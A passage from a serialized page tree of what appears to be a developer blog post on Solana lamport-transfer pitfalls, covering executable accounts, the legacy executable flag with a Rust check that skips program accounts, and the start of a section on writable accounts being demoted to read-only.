change\n",{"type":22,"tag":118,"props":2412,"children":2413},{"class":120,"line":484},[2414,2418,2422,2426,2430,2434,2438,2442],{"type":22,"tag":118,"props":2415,"children":2416},{"style":1480},[2417],{"type":28,"value":2159},{"type":22,"tag":118,"props":2419,"children":2420},{"style":146},[2421],{"type":28,"value":2100},{"type":22,"tag":118,"props":2423,"children":2424},{"style":210},[2425],{"type":28,"value":292},{"type":22,"tag":118,"props":2427,"children":2428},{"style":532},[2429],{"type":28,"value":2210},{"type":22,"tag":118,"props":2431,"children":2432},{"style":125},[2433],{"type":28,"value":2182},{"type":22,"tag":118,"props":2435,"children":2436},{"style":210},[2437],{"type":28,"value":302},{"type":22,"tag":118,"props":2439,"children":2440},{"style":204},[2441],{"type":28,"value":2192},{"type":22,"tag":118,"props":2443,"children":2444},{"style":125},[2445],{"type":28,"value":1474},{"type":22,"tag":118,"props":2447,"children":2448},{"class":120,"line":492},[2449,2453,2458],{"type":22,"tag":118,"props":2450,"children":2451},{"style":1480},[2452],{"type":28,"value":2223},{"type":22,"tag":118,"props":2454,"children":2455},{"style":131},[2456],{"type":28,"value":2457}," Ok",{"type":22,"tag":118,"props":2459,"children":2460},{"style":125},[2461],{"type":28,"value":2462},"(());\n",{"type":22,"tag":118,"props":2464,"children":2465},{"class":120,"line":501},[2466],{"type":22,"tag":118,"props":2467,"children":2468},{"style":125},[2469],{"type":28,"value":1254},{"type":22,"tag":118,"props":2471,"children":2472},{"class":120,"line":519},[2473,2478,2482,2487,2491,2495],{"type":22,"tag":118,"props":2474,"children":2475},{"style":146},[2476],{"type":28,"value":2477},"    self",{"type":22,"tag":118,"props":2479,"children":2480},{"style":210},[2481],{"type":28,"value":292},{"type":22,"tag":118,"props":2483,"children":2484},{"style":532},[2485],{"type":28,"value":2486},"touch",{"type":22,"tag":118,"props":2488,"children":2489},{"style":125},[2490],{"type":28,"value":1200},{"type":22,"tag":118,"props":2492,"children":2493},{"style":210},[2494],{"type":28,"value":796},{"type":22,"tag":118,"props":2496,"children":2497},{"style":125},[2498],{"type":28,"value":801},{"type":22,"tag":118,"props":2500,"children":2501},{"class":120,"line":606},[2502,2506,2510,2515,2519,2523,2527,2531],{"type":22,"tag":118,"props":2503,"children":2504},{"style":146},[2505],{"type":28,"value":2477},{"type":22,"tag":118,"props":2507,"children":2508},{"style":210},[2509],{"type":28,"value":292},{"type":22,"tag":118,"props":2511,"children":2512},{"style":125},[2513],{"type":28,"value":2514},"account",{"type":22,"tag":118,"props":2516,"children":2517},{"style":210},[2518],{"type":28,"value":292},{"type":22,"tag":118,"props":2520,"children":2521},{"style":532},[2522],{"type":28,"value":2015},{"type":22,"tag":118,"props":2524,"children":2525},{"style":125},[2526],{"type":28,"value":540},{"type":22,"tag":118,"props":2528,"children":2529},{"style":204},[2530],{"type":28,"value":2109},{"type":22,"tag":118,"props":2532,"children":2533},{"style":125},[2534],{"type":28,"value":682},{"type":22,"tag":118,"props":2536,"children":2537},{"class":120,"line":615},[2538,2543],{"type":22,"tag":118,"props":2539,"children":2540},{"style":131},[2541],{"type":28,"value":2542},"    Ok",{"type":22,"tag":118,"props":2544,"children":2545},{"style":125},[2546],{"type":28,"value":1245},{"type":22,"tag":118,"props":2548,"children":2549},{"class":120,"line":685},[2550],{"type":22,"tag":118,"props":2551,"children":2552},{"style":125},[2553],{"type":28,"value":481},{"type":22,"tag":118,"props":2555,"children":2556},{"class":120,"line":699},[2557],{"type":22,"tag":118,"props":2558,"children":2559},{"emptyLinePlaceholder":15},[2560],{"type":28,"value":250},{"type":22,"tag":118,"props":2562,"children":2563},{"class":120,"line":729},[2564],{"type":22,"tag":118,"props":2565,"children":2566},{"style":257},[2567],{"type":28,"value":2568},"/// Feature gating to remove `is_executable` flag related checks\n",{"type":22,"tag":118,"props":2570,"children":2571},{"class":120,"line":771},[2572,2576,2580,2584],{"type":22,"tag":118,"props":2573,"children":2574},{"style":125},[2575],{"type":28,"value":2053},{"type":22,"tag":118,"props":2577,"children":2578},{"style":210},[2579],{"type":28,"value":282},{"type":22,"tag":118,"props":2581,"children":2582},{"style":1866},[2583],{"type":28,"value":2062},{"type":22,"tag":118,"props":2585,"children":2586},{"style":125},[2587],{"type":28,"value":2067},{"type":22,"tag":118,"props":2589,"children":2590},{"class":120,"line":785},[2591],{"type":22,"tag":118,"props":2592,"children":2593},{"style":125},[2594],{"type":28,"value":2595},"#[inline]\n",{"type":22,"tag":118,"props":2597,"children":2598},{"class":120,"line":804},[2599,2604,2609,2613,2617,2621,2625,2629,2633],{"type":22,"tag":118,"props":2600,"children":2601},{"style":146},[2602],{"type":28,"value":2603},"fn",{"type":22,"tag":118,"props":2605,"children":2606},{"style":532},[2607],{"type":28,"value":2608}," is_executable_internal",{"type":22,"tag":118,"props":2610,"children":2611},{"style":125},[2612],{"type":28,"value":540},{"type":22,"tag":118,"props":2614,"children":2615},{"style":210},[2616],{"type":28,"value":1407},{"type":22,"tag":118,"props":2618,"children":2619},{"style":146},[2620],{"type":28,"value":1412},{"type":22,"tag":118,"props":2622,"children":2623},{"style":125},[2624],{"type":28,"value":588},{"type":22,"tag":118,"props":2626,"children":2627},{"style":210},[2628],{"type":28,"value":593},{"type":22,"tag":118,"props":2630,"children":2631},{"style":131},[2632],{"type":28,"value":1469},{"type":22,"tag":118,"props":2634,"children":2635},{"style":125},[2636],{"type":28,"value":1474},{"type":22,"tag":118,"props":2638,"children":2639},{"class":120,"line":812},[2640,2645],{"type":22,"tag":118,"props":2641,"children":2642},{"style":210},[2643],{"type":28,"value":2644},"    !",{"type":22,"tag":118,"props":2646,"children":2647},{"style":146},[2648],{"type":28,"value":2649},"self\n",{"type":22,"tag":118,"props":2651,"children":2652},{"class":120,"line":821},[2653,2658],{"type":22,"tag":118,"props":2654,"children":2655},{"style":210},[2656],{"type":28,"value":2657},"        .",{"type":22,"tag":118,"props":2659,"children":2660},{"style":125},[2661],{"type":28,"value":2662},"transaction_context\n",{"type":22,"tag":118,"props":2664,"children":2665},{"class":120,"line":900},[2666,2670],{"type":22,"tag":118,"props":2667,"children":2668},{"style":210},[2669],{"type":28,"value":2657},{"type":22,"tag":118,"props":2671,"children":2672},{"style":125},[2673],{"type":28,"value":2674},"remove_accounts_executable_flag_checks\n",{"type":22,"tag":118,"props":2676,"children":2677},{"class":120,"line":913},[2678,2683,2687,2691,2695,2699,2704],{"type":22,"tag":118,"props":2679,"children":2680},{"style":210},[2681],{"type":28,"value":2682},"        &&",{"type":22,"tag":118,"props":2684,"children":2685},{"style":146},[2686],{"type":28,"value":2100},{"type":22,"tag":118,"props":2688,"children":2689},{"style":210},[2690],{"type":28,"value":292},{"type":22,"tag":118,"props":2692,"children":2693},{"style":125},[2694],{"type":28,"value":2514},{"type":22,"tag":118,"props":2696,"children":2697},{"style":210},[2698],{"type":28,"value":292},{"type":22,"tag":118,"props":2700,"children":2701},{"style":532},[2702],{"type":28,"value":2703},"executable",{"type":22,"tag":118,"props":2705,"children":2706},{"style":125},[2707],{"type":28,"value":2708},"()\n",{"type":22,"tag":118,"props":2710,"children":2711},{"class":120,"line":953},[2712],{"type":22,"tag":118,"props":2713,"children":2714},{"style":125},[2715],{"type":28,"value":481},{"type":22,"tag":31,"props":2717,"children":2718},{},[2719],{"type":28,"value":2720},"Turns out: even writable, rent-exempt accounts can still reject lamport transfers.",{"type":22,"tag":31,"props":2722,"children":2723},{},[2724,2726,2731],{"type":28,"value":2725},"Specifically, ",{"type":22,"tag":74,"props":2727,"children":2728},{},[2729],{"type":28,"value":2730},"executable accounts",{"type":28,"value":2732}," cannot receive or send lamports — the runtime treats them as immutable.",{"type":22,"tag":1899,"props":2734,"children":2736},{"id":2735},"sidebar-whats-the-executable-flag-anyway",[2737],{"type":28,"value":2738},"Sidebar: What's the executable Flag Anyway?",{"type":22,"tag":31,"props":2740,"children":2741},{},[2742,2744,2749],{"type":28,"value":2743},"The ",{"type":22,"tag":114,"props":2745,"children":2747},{"className":2746},[],[2748],{"type":28,"value":2703},{"type":28,"value":2750}," flag is a legacy mechanism marking accounts that hold program code. Historically, an account with this flag was assumed to either contain immutable BPF bytecode or was a proxy to a built-in program, and therefore it made sense to consider it read-only for performance reasons.",{"type":22,"tag":31,"props":2752,"children":2753},{},[2754,2756,2761],{"type":28,"value":2755},"This behavior became problematic with the introduction of the ",{"type":22,"tag":74,"props":2757,"children":2758},{},[2759],{"type":28,"value":2760},"Upgradeable BPF Loader",{"type":28,"value":2762},". A workaround was used to maintain compatibility with the existing runtime logic. The program data containing bpf bytecode was split into a separate account, ProgramData, with the program account now only containing an address pointing to the ProgramData account:",{"type":22,"tag":107,"props":2764,"children":2766},{"className":109,"code":2765,"language":111,"meta":7,"style":7},"Program {\n    /// Address of the ProgramData account.\n    programdata_address: Pubkey,\n},\nProgramData {\n    /// Slot that the program was last modified.\n    slot: u64,\n    /// Address of the Program's upgrade authority.\n    upgrade_authority_address: Option\u003CPubkey>,\n    // The raw program data follows this serialized structure in the\n    // account's data.\n},\n",[2767],{"type":22,"tag":114,"props":2768,"children":2769},{"__ignoreMap":7},[2770,2782,2790,2811,2819,2831,2839,2859,2867,2897,2905,2913],{"type":22,"tag":118,"props":2771,"children":2772},{"class":120,"line":121},[2773,2778],{"type":22,"tag":118,"props":2774,"children":2775},{"style":131},[2776],{"type":28,"value":2777},"Program",{"type":22,"tag":118,"props":2779,"children":2780},{"style":125},[2781],{"type":28,"value":1474},{"type":22,"tag":118,"props":2783,"children":2784},{"class":120,"line":142},[2785],{"type":22,"tag":118,"props":2786,"children":2787},{"style":257},[2788],{"type":28,"value":2789},"    /// Address of the ProgramData account.\n",{"type":22,"tag":118,"props":2791,"children":2792},{"class":120,"line":177},[2793,2798,2802,2807],{"type":22,"tag":118,"props":2794,"children":2795},{"style":204},[2796],{"type":28,"value":2797},"    programdata_address",{"type":22,"tag":118,"props":2799,"children":2800},{"style":210},[2801],{"type":28,"value":213},{"type":22,"tag":118,"props":2803,"children":2804},{"style":131},[2805],{"type":28,"value":2806}," Pubkey",{"type":22,"tag":118,"props":2808,"children":2809},{"style":125},[2810],{"type":28,"value":782},{"type":22,"tag":118,"props":2812,"children":2813},{"class":120,"line":195},[2814],{"type":22,"tag":118,"props":2815,"children":2816},{"style":125},[2817],{"type":28,"value":2818},"},\n",{"type":22,"tag":118,"props":2820,"children":2821},{"class":120,"line":244},[2822,2827],{"type":22,"tag":118,"props":2823,"children":2824},{"style":131},[2825],{"type":28,"value":2826},"ProgramData",{"type":22,"tag":118,"props":2828,"children":2829},{"style":125},[2830],{"type":28,"value":1474},{"type":22,"tag":118,"props":2832,"children":2833},{"class":120,"line":253},[2834],{"type":22,"tag":118,"props":2835,"children":2836},{"style":257},[2837],{"type":28,"value":2838},"    /// Slot that the program was last modified.\n",{"type":22,"tag":118,"props":2840,"children":2841},{"class":120,"line":263},[2842,2847,2851,2855],{"type":22,"tag":118,"props":2843,"children":2844},{"style":204},[2845],{"type":28,"value":2846},"    slot",{"type":22,"tag":118,"props":2848,"children":2849},{"style":210},[2850],{"type":28,"value":213},{"type":22,"tag":118,"props":2852,"children":2853},{"style":131},[2854],{"type":28,"value":583},{"type":22,"tag":118,"props":2856,"children":2857},{"style":125},[2858],{"type":28,"value":782},{"type":22,"tag":118,"props":2860,"children":2861},{"class":120,"line":318},[2862],{"type":22,"tag":118,"props":2863,"children":2864},{"style":257},[2865],{"type":28,"value":2866},"    /// Address of the Program's upgrade authority.\n",{"type":22,"tag":118,"props":2868,"children":2869},{"class":120,"line":351},[2870,2875,2879,2884,2888,2893],{"type":22,"tag":118,"props":2871,"children":2872},{"style":204},[2873],{"type":28,"value":2874},"    upgrade_authority_address",{"type":22,"tag":118,"props":2876,"children":2877},{"style":210},[2878],{"type":28,"value":213},{"type":22,"tag":118,"props":2880,"children":2881},{"style":131},[2882],{"type":28,"value":2883}," Option",{"type":22,"tag":118,"props":2885,"children":2886},{"style":125},[2887],{"type":28,"value":559},{"type":22,"tag":118,"props":2889,"children":2890},{"style":131},[2891],{"type":28,"value":2892},"Pubkey",{"type":22,"tag":118,"props":2894,"children":2895},{"style":125},[2896],{"type":28,"value":241},{"type":22,"tag":118,"props":2898,"children":2899},{"class":120,"line":359},[2900],{"type":22,"tag":118,"props":2901,"children":2902},{"style":257},[2903],{"type":28,"value":2904},"    // The raw program data follows this serialized structure in the\n",{"type":22,"tag":118,"props":2906,"children":2907},{"class":120,"line":368},[2908],{"type":22,"tag":118,"props":2909,"children":2910},{"style":257},[2911],{"type":28,"value":2912},"    // account's data.\n",{"type":22,"tag":118,"props":2914,"children":2915},{"class":120,"line":384},[2916],{"type":22,"tag":118,"props":2917,"children":2918},{"style":125},[2919],{"type":28,"value":2818},{"type":22,"tag":31,"props":2921,"children":2922},{},[2923,2925,2932],{"type":28,"value":2924},"Eventually, the executable flag will be removed entirely as proposed in ",{"type":22,"tag":42,"props":2926,"children":2929},{"href":2927,"rel":2928},"https://github.com/solana-foundation/solana-improvement-documents/blob/main/proposals/0162-remove-accounts-executable-flag-checks.md",[46],[2930],{"type":28,"value":2931},"SIMD-0162",{"type":28,"value":2933},". The reasoning is simple: an account's owner and its content are sufficient to determine if it's a valid program — the executable flag is redundant.",{"type":22,"tag":31,"props":2935,"children":2936},{},[2937,2939,2944,2946,2951],{"type":28,"value":2938},"This change is also a ",{"type":22,"tag":74,"props":2940,"children":2941},{},[2942],{"type":28,"value":2943},"hard requirement for supporting the new loader-v4",{"type":28,"value":2945},". Unlike the upgradable loader, which relies on a separate ",{"type":22,"tag":114,"props":2947,"children":2949},{"className":2948},[],[2950],{"type":28,"value":2826},{"type":28,"value":2952}," proxy account, loader-v4 stores all program data directly in the program account itself.",{"type":22,"tag":31,"props":2954,"children":2955},{},[2956,2958,2965,2967,2972],{"type":28,"value":2957},"As a result, it becomes impossible to modify the account's size after deployment, or to ",{"type":22,"tag":42,"props":2959,"children":2962},{"href":2960,"rel":2961},"https://github.com/anza-xyz/agave/blob/7a1e57469a5b1aeed617457c0519803620ba953f/programs/bpf_loader/src/lib.rs#L1411",[46],[2963],{"type":28,"value":2964},"migrate",{"type":28,"value":2966}," from the upgradable loader to loader-v4 — without hitting the ",{"type":22,"tag":114,"props":2968,"children":2970},{"className":2969},[],[2971],{"type":28,"value":2391},{"type":28,"value":2973}," restriction.",{"type":22,"tag":1899,"props":2975,"children":2977},{"id":2976},"fix-2-reject-program-accounts",[2978],{"type":28,"value":2979},"Fix 2: Reject Program Accounts",{"type":22,"tag":31,"props":2981,"children":2982},{},[2983],{"type":28,"value":2984},"To avoid this footgun, let’s explicitly skip any executable account:",{"type":22,"tag":107,"props":2986,"children":2988},{"className":109,"code":2987,"language":111,"meta":7,"style":7},"pub fn can_transfer_lamports(account: &AccountInfo, lamports: u64) -> Result\u003Cbool> {\nfn is_program(account: &AccountInfo) -> bool {\n    account.executable\n}\nlet rent = Rent::get()?;\nlet balance_after = account.lamports() + lamports;\nOk(account.is_writable\n    && rent.is_exempt(balance_after, account.data_len())\n    && !is_program(account))\n}\n",[2989],{"type":22,"tag":114,"props":2990,"children":2991},{"__ignoreMap":7},[2992,3070,3118,3135,3142,3183,3229,3254,3306,3335],{"type":22,"tag":118,"props":2993,"children":2994},{"class":120,"line":121},[2995,2999,3003,3008,3012,3016,3020,3024,3029,3033,3037,3041,3045,3049,3053,3057,3061,3066],{"type":22,"tag":118,"props":2996,"children":2997},{"style":146},[2998],{"type":28,"value":149},{"type":22,"tag":118,"props":3000,"children":3001},{"style":146},[3002],{"type":28,"value":529},{"type":22,"tag":118,"props":3004,"children":3005},{"style":532},[3006],{"type":28,"value":3007}," can_transfer_lamports",{"type":22,"tag":118,"props":3009,"children":3010},{"style":125},[3011],{"type":28,"value":540},{"type":22,"tag":118,"props":3013,"children":3014},{"style":204},[3015],{"type":28,"value":2514},{"type":22,"tag":118,"props":3017,"children":3018},{"style":210},[3019],{"type":28,"value":213},{"type":22,"tag":118,"props":3021,"children":3022},{"style":210},[3023],{"type":28,"value":1430},{"type":22,"tag":118,"props":3025,"children":3026},{"style":131},[3027],{"type":28,"value":3028},"AccountInfo",{"type":22,"tag":118,"props":3030,"children":3031},{"style":125},[3032],{"type":28,"value":231},{"type":22,"tag":118,"props":3034,"children":3035},{"style":204},[3036],{"type":28,"value":2109},{"type":22,"tag":118,"props":3038,"children":3039},{"style":210},[3040],{"type":28,"value":213},{"type":22,"tag":118,"props":3042,"children":3043},{"style":131},[3044],{"type":28,"value":583},{"type":22,"tag":118,"props":3046,"children":3047},{"style":125},[3048],{"type":28,"value":588},{"type":22,"tag":118,"props":3050,"children":3051},{"style":210},[3052],{"type":28,"value":593},{"type":22,"tag":118,"props":3054,"children":3055},{"style":131},[3056],{"type":28,"value":598},{"type":22,"tag":118,"props":3058,"children":3059},{"style":125},[3060],{"type":28,"value":559},{"type":22,"tag":118,"props":3062,"children":3063},{"style":131},[3064],{"type":28,"value":3065},"bool",{"type":22,"tag":118,"props":3067,"children":3068},{"style":125},[3069],{"type":28,"value":174},{"type":22,"tag":118,"props":3071,"children":3072},{"class":120,"line":142},[3073,3077,3082,3086,3090,3094,3098,3102,3106,3110,3114],{"type":22,"tag":118,"props":3074,"children":3075},{"style":146},[3076],{"type":28,"value":2603},{"type":22,"tag":118,"props":3078,"children":3079},{"style":532},[3080],{"type":28,"value":3081}," is_program",{"type":22,"tag":118,"props":3083,"children":3084},{"style":125},[3085],{"type":28,"value":540},{"type":22,"tag":118,"props":3087,"children":3088},{"style":204},[3089],{"type":28,"value":2514},{"type":22,"tag":118,"props":3091,"children":3092},{"style":210},[3093],{"type":28,"value":213},{"type":22,"tag":118,"props":3095,"children":3096},{"style":210},[3097],{"type":28,"value":1430},{"type":22,"tag":118,"props":3099,"children":3100},{"style":131},[3101],{"type":28,"value":3028},{"type":22,"tag":118,"props":3103,"children":3104},{"style":125},[3105],{"type":28,"value":588},{"type":22,"tag":118,"props":3107,"children":3108},{"style":210},[3109],{"type":28,"value":593},{"type":22,"tag":118,"props":3111,"children":3112},{"style":131},[3113],{"type":28,"value":1469},{"type":22,"tag":118,"props":3115,"children":3116},{"style":125},[3117],{"type":28,"value":1474},{"type":22,"tag":118,"props":3119,"children":3120},{"class":120,"line":177},[3121,3126,3130],{"type":22,"tag":118,"props":3122,"children":3123},{"style":204},[3124],{"type":28,"value":3125},"    account",{"type":22,"tag":118,"props":3127,"children":3128},{"style":210},[3129],{"type":28,"value":292},{"type":22,"tag":118,"props":3131,"children":3132},{"style":125},[3133],{"type":28,"value":3134},"executable\n",{"type":22,"tag":118,"props":3136,"children":3137},{"class":120,"line":195},[3138],{"type":22,"tag":118,"props":3139,"children":3140},{"style":125},[3141],{"type":28,"value":481},{"type":22,"tag":118,"props":3143,"children":3144},{"class":120,"line":244},[3145,3150,3154,3158,3163,3167,3171,3175,3179],{"type":22,"tag":118,"props":3146,"children":3147},{"style":146},[3148],{"type":28,"value":3149},"let",{"type":22,"tag":118,"props":3151,"children":3152},{"style":204},[3153],{"type":28,"value":1869},{"type":22,"tag":118,"props":3155,"children":3156},{"style":210},[3157],{"type":28,"value":837},{"type":22,"tag":118,"props":3159,"children":3160},{"style":131},[3161],{"type":28,"value":3162}," Rent",{"type":22,"tag":118,"props":3164,"children":3165},{"style":210},[3166],{"type":28,"value":1190},{"type":22,"tag":118,"props":3168,"children":3169},{"style":532},[3170],{"type":28,"value":1195},{"type":22,"tag":118,"props":3172,"children":3173},{"style":125},[3174],{"type":28,"value":1200},{"type":22,"tag":118,"props":3176,"children":3177},{"style":210},[3178],{"type":28,"value":796},{"type":22,"tag":118,"props":3180,"children":3181},{"style":125},[3182],{"type":28,"value":801},{"type":22,"tag":118,"props":3184,"children":3185},{"class":120,"line":253},[3186,3190,3195,3199,3204,3208,3212,3216,3221,3225],{"type":22,"tag":118,"props":3187,"children":3188},{"style":146},[3189],{"type":28,"value":3149},{"type":22,"tag":118,"props":3191,"children":3192},{"style":204},[3193],{"type":28,"value":3194}," balance_after",{"type":22,"tag":118,"props":3196,"children":3197},{"style":210},[3198],{"type":28,"value":837},{"type":22,"tag":118,"props":3200,"children":3201},{"style":204},[3202],{"type":28,"value":3203}," account",{"type":22,"tag":118,"props":3205,"children":3206},{"style":210},[3207],{"type":28,"value":292},{"type":22,"tag":118,"props":3209,"children":3210},{"style":532},[3211],{"type":28,"value":2109},{"type":22,"tag":118,"props":3213,"children":3214},{"style":125},[3215],{"type":28,"value":2182},{"type":22,"tag":118,"props":3217,"children":3218},{"style":210},[3219],{"type":28,"value":3220},"+",{"type":22,"tag":118,"props":3222,"children":3223},{"style":204},[3224],{"type":28,"value":2192},{"type":22,"tag":118,"props":3226,"children":3227},{"style":125},[3228],{"type":28,"value":801},{"type":22,"tag":118,"props":3230,"children":3231},{"class":120,"line":263},[3232,3237,3241,3245,3249],{"type":22,"tag":118,"props":3233,"children":3234},{"style":131},[3235],{"type":28,"value":3236},"Ok",{"type":22,"tag":118,"props":3238,"children":3239},{"style":125},[3240],{"type":28,"value":540},{"type":22,"tag":118,"props":3242,"children":3243},{"style":204},[3244],{"type":28,"value":2514},{"type":22,"tag":118,"props":3246,"children":3247},{"style":210},[3248],{"type":28,"value":292},{"type":22,"tag":118,"props":3250,"children":3251},{"style":125},[3252],{"type":28,"value":3253},"is_writable\n",{"type":22,"tag":118,"props":3255,"children":3256},{"class":120,"line":318},[3257,3262,3266,3270,3275,3279,3284,3288,3292,3296,3301],{"type":22,"tag":118,"props":3258,"children":3259},{"style":210},[3260],{"type":28,"value":3261},"    &&",{"type":22,"tag":118,"props":3263,"children":3264},{"style":204},[3265],{"type":28,"value":1869},{"type":22,"tag":118,"props":3267,"children":3268},{"style":210},[3269],{"type":28,"value":292},{"type":22,"tag":118,"props":3271,"children":3272},{"style":532},[3273],{"type":28,"value":3274},"is_exempt",{"type":22,"tag":118,"props":3276,"children":3277},{"style":125},[3278],{"type":28,"value":540},{"type":22,"tag":118,"props":3280,"children":3281},{"style":204},[3282],{"type":28,"value":3283},"balance_after",{"type":22,"tag":118,"props":3285,"children":3286},{"style":125},[3287],{"type":28,"value":231},{"type":22,"tag":118,"props":3289,"children":3290},{"style":204},[3291],{"type":28,"value":2514},{"type":22,"tag":118,"props":3293,"children":3294},{"style":210},[3295],{"type":28,"value":292},{"type":22,"tag":118,"props":3297,"children":3298},{"style":532},[3299],{"type":28,"value":3300},"data_len",{"type":22,"tag":118,"props":3302,"children":3303},{"style":125},[3304],{"type":28,"value":3305},"())\n",{"type":22,"tag":118,"props":3307,"children":3308},{"class":120,"line":351},[3309,3313,3317,3322,3326,3330],{"type":22,"tag":118,"props":3310,"children":3311},{"style":210},[3312],{"type":28,"value":3261},{"type":22,"tag":118,"props":3314,"children":3315},{"style":210},[3316],{"type":28,"value":2164},{"type":22,"tag":118,"props":3318,"children":3319},{"style":532},[3320],{"type":28,"value":3321},"is_program",{"type":22,"tag":118,"props":3323,"children":3324},{"style":125},[3325],{"type":28,"value":540},{"type":22,"tag":118,"props":3327,"children":3328},{"style":204},[3329],{"type":28,"value":2514},{"type":22,"tag":118,"props":3331,"children":3332},{"style":125},[3333],{"type":28,"value":3334},"))\n",{"type":22,"tag":118,"props":3336,"children":3337},{"class":120,"line":359},[3338],{"type":22,"tag":118,"props":3339,"children":3340},{"style":125},[3341],{"type":28,"value":481},{"type":22,"tag":31,"props":3343,"children":3344},{},[3345],{"type":28,"value":3346},"Now we’re safe...right?",{"type":22,"tag":1289,"props":3348,"children":3350},{"id":3349},"bug-3-the-write-demotion-trap",[3351],{"type":28,"value":3352},"Bug 3: The Write-Demotion Trap",{"type":22,"tag":31,"props":3354,"children":3355},{},[3356,3358,3363,3365,3370],{"type":28,"value":3357},"On Solana, accounts passed as ",{"type":22,"tag":74,"props":3359,"children":3360},{},[3361],{"type":28,"value":3362},"writable",{"type":28,"value":3364}," in a transaction can be ",{"type":22,"tag":74,"props":3366,"children":3367},{},[3368],{"type":28,"value":3369},"silently downgraded to read-only",{"type":28,"value":3371},". This behavior occurs during message sanitization — even before your program runs.",{"type":22,"tag":31,"props":3373,"children":3374},{},[3375,3377,3384],{"type":28,"value":3376},"Let’s walk through the logic for legacy messages (note: the same rules apply to ",{"type":22,"tag":42,"props":3378,"children":3381},{"href":3379,"rel":3380},"https://github.com/anza-xyz/solana-sdk/blob/master/message/src/versions/v0/loaded.rs#L58-L98",[46],[3382],{"type":28,"value":3383},"MessageV0",{"type":28,"value":3385},", but legacy is simpler to follow):",{"type":22,"tag":107,"props":3387,"children":3389},{"className":109,"code":3388,"language":111,"meta":7,"style":7},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\nimpl LegacyMessage\u003C'_> {\n    pub fn new(message: legacy::Message, reserved_account_keys: &HashSet\u003CPubkey>) -> Self {\n        let is_writable_account_cache = message\n            .account_keys\n            .iter()\n            .enumerate()\n            .map(|(i, _key)| {\n                message.is_writable_index(i)\n                    && !reserved_account_keys.contains(&message.account_keys[i])\n                    && !message.demote_program_id(i)\n            })\n            .collect::\u003CVec\u003C_>>();\n        Self {\n            message: Cow::Owned(message),\n            is_writable_account_cache,\n        }\n    }\n}\n\n// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/legacy.rs#L642-L644\npub fn demote_program_id(&self, i: usize) -> bool {\n    self.is_key_called_as_program(i) && !self.is_upgradeable_loader_present()\n}\n\n",[3390],{"type":22,"tag":114,"props":3391,"children":3392},{"__ignoreMap":7},[3393,3401,3427,3518,3539,3552,3568,3584,3636,3666,3721,3757,3765,3803,3815,3854,3866,3873,3880,3887,3894,3902,3963,4016],{"type":22,"tag":118,"props":3394,"children":3395},{"class":120,"line":121},[3396],{"type":22,"tag":118,"props":3397,"children":3398},{"style":257},[3399],{"type":28,"value":3400},"// https://github.com/anza-xyz/solana-sdk/blob/master/message/src/sanitized.rs#L39-L55\n",{"type":22,"tag":118,"props":3402,"children":3403},{"class":120,"line":142},[3404,3409,3414,3418,3423],{"type":22,"tag":118,"props":3405,"children":3406},{"style":146},[3407],{"type":28,"value":3408},"impl",{"type":22,"tag":118,"props":3410,"children":3411},{"style":131},[3412],{"type":28,"value":3413}," LegacyMessage",{"type":22,"tag":118,"props":3415,"children":3416},{"style":125},[3417],{"type":28,"value":164},{"type":22,"tag":118,"props":3419,"children":3420},{"style":131},[3421],{"type":28,"value":3422},"_",{"type":22,"tag":118,"props":3424,"children":3425},{"style":125},[3426],{"type":28,"value":174},{"type":22,"tag":118,"props":3428,"children":3429},{"class":120,"line":177},[3430,3434,3438,3443,3447,3452,3456,3461,3465,3470,3474,3479,3483,3487,3492,3496,3500,3505,3509,3514],{"type":22,"tag":118,"props":3431,"children":3432},{"style":146},[3433],{"type":28,"value":201},{"type":22,"tag":118,"props":3435,"children":3436},{"style":146},[3437],{"type":28,"value":529},{"type":22,"tag":118,"props":3439,"children":3440},{"style":532},[3441],{"type":28,"value":3442}," new",{"type":22,"tag":118,"props":3444,"children":3445},{"style":125},[3446],{"type":28,"value":540},{"type":22,"tag":118,"props":3448,"children":3449},{"style":204},[3450],{"type":28,"value":3451},"message",{"type":22,"tag":118,"props":3453,"children":3454},{"style":210},[3455],{"type":28,"value":213},{"type":22,"tag":118,"props":3457,"children":3458},{"style":125},[3459],{"type":28,"value":3460}," legacy",{"type":22,"tag":118,"props":3462,"children":3463},{"style":210},[3464],{"type":28,"value":1190},{"type":22,"tag":118,"props":3466,"children":3467},{"style":131},[3468],{"type":28,"value":3469},"Message",{"type":22,"tag":118,"props":3471,"children":3472},{"style":125},[3473],{"type":28,"value":231},{"type":22,"tag":118,"props":3475,"children":3476},{"style":204},[3477],{"type":28,"value":3478},"reserved_account_keys",{"type":22,"tag":118,"props":3480,"children":3481},{"style":210},[3482],{"type":28,"value":213},{"type":22,"tag":118,"props":3484,"children":3485},{"style":210},[3486],{"type":28,"value":1430},{"type":22,"tag":118,"props":3488,"children":3489},{"style":131},[3490],{"type":28,"value":3491},"HashSet",{"type":22,"tag":118,"props":3493,"children":3494},{"style":125},[3495],{"type":28,"value":559},{"type":22,"tag":118,"props":3497,"children":3498},{"style":131},[3499],{"type":28,"value":2892},{"type":22,"tag":118,"props":3501,"children":3502},{"style":125},[3503],{"type":28,"value":3504},">) ",{"type":22,"tag":118,"props":3506,"children":3507},{"style":210},[3508],{"type":28,"value":593},{"type":22,"tag":118,"props":3510,"children":3511},{"style":146},[3512],{"type":28,"value":3513}," Self",{"type":22,"tag":118,"props":3515,"children":3516},{"style":125},[3517],{"type":28,"value":1474},{"type":22,"tag":118,"props":3519,"children":3520},{"class":120,"line":195},[3521,3525,3530,3534],{"type":22,"tag":118,"props":3522,"children":3523},{"style":146},[3524],{"type":28,"value":827},{"type":22,"tag":118,"props":3526,"children":3527},{"style":204},[3528],{"type":28,"value":3529}," is_writable_account_cache",{"type":22,"tag":118,"props":3531,"children":3532},{"style":210},[3533],{"type":28,"value":837},{"type":22,"tag":118,"props":3535,"children":3536},{"style":204},[3537],{"type":28,"value":3538}," message\n",{"type":22,"tag":118,"props":3540,"children":3541},{"class":120,"line":244},[3542,3547],{"type":22,"tag":118,"props":3543,"children":3544},{"style":210},[3545],{"type":28,"value":3546},"            